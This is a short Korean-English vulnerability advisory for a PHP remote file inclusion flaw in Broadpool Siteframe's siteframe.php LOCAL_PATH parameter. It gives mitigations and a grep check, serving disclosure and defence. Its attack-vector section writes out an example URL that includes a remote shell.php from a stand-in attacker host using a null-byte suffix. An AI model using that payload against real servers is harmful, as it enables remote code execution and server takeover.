🇰🇷 한글 설명
Broadpool Siteframe의 siteframe.php 파일에서 LOCAL_PATH 파라미터의 입력값을 적절히 검증하지 않아 발생하는 PHP 원격 파일 포함(RFI) 취약점입니다. 원격 공격자가 외부 서버의 악의적인 PHP 파일을 포함시켜 서버에서 임의의 코드를 실행할 수 있습니다.
💡 쉬운 설명
웹사이트가 외부에서 파일을 로드할 때 누가 어떤 파일을 로드할지 확인하지 않는 문제입니다. 공격자가 악의적인 파일을 실행하도록 강제할 수 있어 서버가 완전히 장악될 수 있습니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in siteframe.php for Broadpool Siteframe allows remote attackers to execute arbitrary code via a URL in the LOCAL_PATH parameter.
📍 영향받는 시스템
Broadpool Siteframe (2005년 이전 버전들, 정확한 버전 범위는 공식 보안 공지 참조 필요)
⚔️ 공격 벡터
http://target/siteframe.php?LOCAL_PATH=http://attacker.com/shell.php%00 형태의 URL을 통한 원격 파일 포함 공격
🛡️ 대응 방법
PHP의 allow_url_include 설정 비활성화, LOCAL_PATH 파라미터 엄격한 화이트리스트 검증 구현, Broadpool Siteframe 보안 패치 적용 또는 대체 프레임워크 도입
🔧 검증 코드
siteframe.php에서 LOCAL_PATH 파라미터가 발견되면 해당 파일의 코드를 검토하여 include() 또는 require() 함수 사용 시 입력값 검증 여부를 확인해야 합니다.
grep -r 'LOCAL_PATH' /var/www 2>/dev/null | grep -i siteframe